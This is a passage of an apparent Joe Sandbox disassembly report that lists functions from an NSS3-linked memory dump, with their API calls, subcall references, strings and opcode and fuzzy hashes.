Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: ad6a7c0a9a99ca8fc4b4145f68c4486fe0dbd982b6c338505a9b6ef78fa2c5ca
Instruction ID: 5ea610c25a9df746e1ad5129b41ef7536455fc0e2ece329d176968c6f483779b
Opcode Fuzzy Hash: ad6a7c0a9a99ca8fc4b4145f68c4486fe0dbd982b6c338505a9b6ef78fa2c5ca
Instruction Fuzzy Hash: 6E2124306003049BC710DE19ED41B5AB7F1AF84308F254D2CD8499BF50EB70F98ACBA6

Function 6C6B2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+kl,6C6B32C2,<+kl,00000000,00000000,?), ref: 6C6B2FDA

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6B300B

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6B302A

Part of subcall function 6C6A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A08B4

Part of subcall function 6C68C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C68C45D
Part of subcall function 6C68C3D0: TlsGetValue.KERNEL32 ref: 6C68C494
Part of subcall function 6C68C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C68C4A9
Part of subcall function 6C68C3D0: PR_Unlock.NSS3(?), ref: 6C68C4F4

Strings

<+kl, xrefs: 6C6B2FD0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+kl
API String ID: 2538134263-1840033307
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: e4e7be6cb94a4fcf49dc4d1962f5f8916a4648cf9ec3dd1384227c547ebf6298
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: A411E7B6B00104ABDB008E65EC00A9B77D99F85768F194134E91CD7780EB72ED16C7A9

Function 6C70CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C70CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C70CC7B), ref: 6C70CD7A
Part of subcall function 6C70CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C70CD8E
Part of subcall function 6C70CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C70CDA5
Part of subcall function 6C70CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C70CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C70CCB5
memcpy.VCRUNTIME140(6C7A14F4,6C7A02AC,00000090), ref: 6C70CCD3
memcpy.VCRUNTIME140(6C7A1588,6C7A02AC,00000090), ref: 6C70CD2B

Part of subcall function 6C629AC0: socket.WSOCK32(?,00000017,6C6299BE), ref: 6C629AE6
Part of subcall function 6C629AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6299BE), ref: 6C629AFC

Part of subcall function 6C630590: closesocket.WSOCK32(6C629A8F,?,?,6C629A8F,00000000), ref: 6C630597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C70CCB0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: aaab91330bc38aa688a545e79bdc09da78331a4cc029f2c97f6d7df53b333666
Instruction ID: 591d9e4b449046203685ca7afd8fa6ccfbd165cf55aef4e71bd5df238b1c5bd9
Opcode Fuzzy Hash: aaab91330bc38aa688a545e79bdc09da78331a4cc029f2c97f6d7df53b333666
Instruction Fuzzy Hash: C81166F6B00250DFFB009FE9EA0B74A3AB89346658F541539E516CBB81EB71C4148BE6

Function 6C5D7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5D81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5D8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5D8255
sqlite3_free.NSS3(00000000), ref: 6C5D8260

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 2d10287e1547782ab8e027ad7677930a6d3bd0dede7c01e605c09738cfe24d77
Instruction ID: 38f7d1e0b7e60a5ed9f3d3375ee997f58c840106f46cffd0f2e33d7688cf87f4
Opcode Fuzzy Hash: 2d10287e1547782ab8e027ad7677930a6d3bd0dede7c01e605c09738cfe24d77
Instruction Fuzzy Hash: F791BC71A01208CFEF08DFE9EC487ADB7B1BF46304F25113AD4169B644DB396946CB86

Function 6C6B1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B1D8F

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6B1DA6

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6B1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6B1ED0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 4b8b7aca68116e79cf1b7b6666a4e420f10c71f335856417a6287d2f9c4e24b5
Instruction ID: ae7dff3adbdeaa08b741d6ad32e5a3c6dcabfea5ec194d96af997eaad351c190
Opcode Fuzzy Hash: 4b8b7aca68116e79cf1b7b6666a4e420f10c71f335856417a6287d2f9c4e24b5
Instruction Fuzzy Hash: 19516875A00309EFDB10CF98D884BAEBBB6FF49308F144129E819AB750D731E956CB94

Function 6C704FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5E85D2,00000000,?,?), ref: 6C704FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C70500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7050C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7050D6

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: b0743f4a20ad076e12419e2af18cd5f62591208a63bcc583edaaa9c1b603fb2e
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 0741A3B2A402158FCB18CF28DCD179AB7E1BF4431871D466DC84ACBB02E779E891CB95

Function 6C62FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C62FDFE), ref: 6C62FFAD

Part of subcall function 6C5CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C62F9C9,?,6C62F4DA,6C62F9C9,?,?,6C5F369A), ref: 6C5CCA7A
Part of subcall function 6C5CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5CCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C62FDFE), ref: 6C62FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C62FDFE), ref: 6C63001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C62FDFE), ref: 6C63006F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: bbee32551d3496971f2880dcdb4f5cffbc260631b47d5a6056bf658e1a05bcdf
Instruction ID: 3373152d84e42b91d3d8893a427086e678dc11bafed5f1e1ae8f5245d19d5601
Opcode Fuzzy Hash: bbee32551d3496971f2880dcdb4f5cffbc260631b47d5a6056bf658e1a05bcdf
Instruction Fuzzy Hash: 2B41C371B002299FDF08DFA9E885AAE7775FF45304F142039D80A97700DB399955CB95

Function 6C6B3D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6C6B127F,?), ref: 6C6B3D89

Part of subcall function 6C6B06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C6B2E70,00000000), ref: 6C6B0701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6C6B3DD3

Part of subcall function 6C6A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C648298,?,?,?,6C63FCE5,?), ref: 6C6A07BF
Part of subcall function 6C6A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6A07E6
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A081B
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A0825

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: ad30f3a5806d736453b8045b11b400e7593bdb701896d11eb3644a03d91e106e
Instruction ID: f1dd5656f495f9c6a548d75e778098e8cf8f47de54af87d2668ab0d5c40fff79
Opcode Fuzzy Hash: ad30f3a5806d736453b8045b11b400e7593bdb701896d11eb3644a03d91e106e
Instruction Fuzzy Hash: 5C312635B0651497EB1446189840B9972A4AB4232CF640637EF15F7FC1EF31EC32838E

Function 6C717DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C717E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C717EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C717EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C717ED8

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 962d0269040d11f4d372fe1d00472ea429b3befefee6a46b1316a94cc54ed057
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: CF31C4B1A001158FDB04CF08CD9489ABBE6BF8831871E8179D8085BB11EB75EC55CBD1

Function 6C6CDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C653090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C66AE42), ref: 6C6530AA
Part of subcall function 6C653090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6530C7
Part of subcall function 6C653090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6530E5
Part of subcall function 6C653090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C653116
Part of subcall function 6C653090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C65312B
Part of subcall function 6C653090: PK11_DestroyObject.NSS3(?,?), ref: 6C653154
Part of subcall function 6C653090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6CDBBD), ref: 6C6CDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CDFEE

Part of subcall function 6C6686D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668716
Part of subcall function 6C6686D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668727
Part of subcall function 6C6686D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C66873B
Part of subcall function 6C6686D0: PR_Unlock.NSS3(?), ref: 6C66876F
Part of subcall function 6C6686D0: PR_SetError.NSS3(00000000,00000000), ref: 6C668787

Part of subcall function 6C68F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C68F854
Part of subcall function 6C68F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C68F868
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C68F882
Part of subcall function 6C68F820: free.MOZGLUE(04C483FF,?,?), ref: 6C68F889
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C68F8A4
Part of subcall function 6C68F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C68F8AB
Part of subcall function 6C68F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C68F8C9
Part of subcall function 6C68F820: free.MOZGLUE(280F10EC,?,?), ref: 6C68F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6CDBBD), ref: 6C6CDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6CDBBD), ref: 6C6CE007

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 41b4a465939b3731b189854d98a4da541d2fa780032a64d0b62474f5c4cacc7c
Instruction ID: 6e3615ce1c678aaa1158e932415b523aedcff8ecd998f7b038eb9b4068d7a473
Opcode Fuzzy Hash: 41b4a465939b3731b189854d98a4da541d2fa780032a64d0b62474f5c4cacc7c
Instruction Fuzzy Hash: B731C4B1B0420157D711AA799C85AAB72F8EF5630CF550135E91AC7B12FB31D918C2EB

Function 6C6B2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C6B1289,?), ref: 6C6B2D72

Part of subcall function 6C6B3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C6B2CA7,E80C76FF,?,6C6B1289,?), ref: 6C6B33E9
Part of subcall function 6C6B3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C6B342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B1289,?), ref: 6C6B2D61

Part of subcall function 6C6B0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6B0B21
Part of subcall function 6C6B0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6B0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C6B1289,?), ref: 6C6B2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C6B1289,?), ref: 6C6B2DAF

Part of subcall function 6C66B8F0: PR_CallOnceWithArg.NSS3(6C7A2178,6C66BCF0,?), ref: 6C66B915
Part of subcall function 6C66B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C66B933
Part of subcall function 6C66B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C66B9C8
Part of subcall function 6C66B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C66B9E1

Part of subcall function 6C6B0A50: SECOID_GetAlgorithmTag_Util.NSS3(6C6B2A90,E8571076,?,6C6B2A7C,6C6B21F1,?,?,?,00000000,00000000,?,?,6C6B21DD,00000000), ref: 6C6B0A66

Part of subcall function 6C6B3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C6B2D1E,?,?,?,?,00000000,?,?,?,?,?,6C6B1289), ref: 6C6B3348

Part of subcall function 6C6B06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C6B2E70,00000000), ref: 6C6B0701

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: 7d351b736003fb7a02c10763fd21f6763c0bc783799edcff9f0d837f8f4bcac5
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 8C31CCB69012016BDB005E64DC45A9A3BE9AF4631DF140130ED15AB792F731E538C7AA

Function 6C646C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C646C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C646CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C646CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C768FE0), ref: 6C646CFE

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: adcb596f18e38229688b341bc5f982d12fb90266e0bcd1eefa8ef2918c891dee
Instruction ID: bd0cf3831730787afaf48cbb72eff160ce61cfd7c18bbc91f60ff7eeab203fb4
Opcode Fuzzy Hash: adcb596f18e38229688b341bc5f982d12fb90266e0bcd1eefa8ef2918c891dee
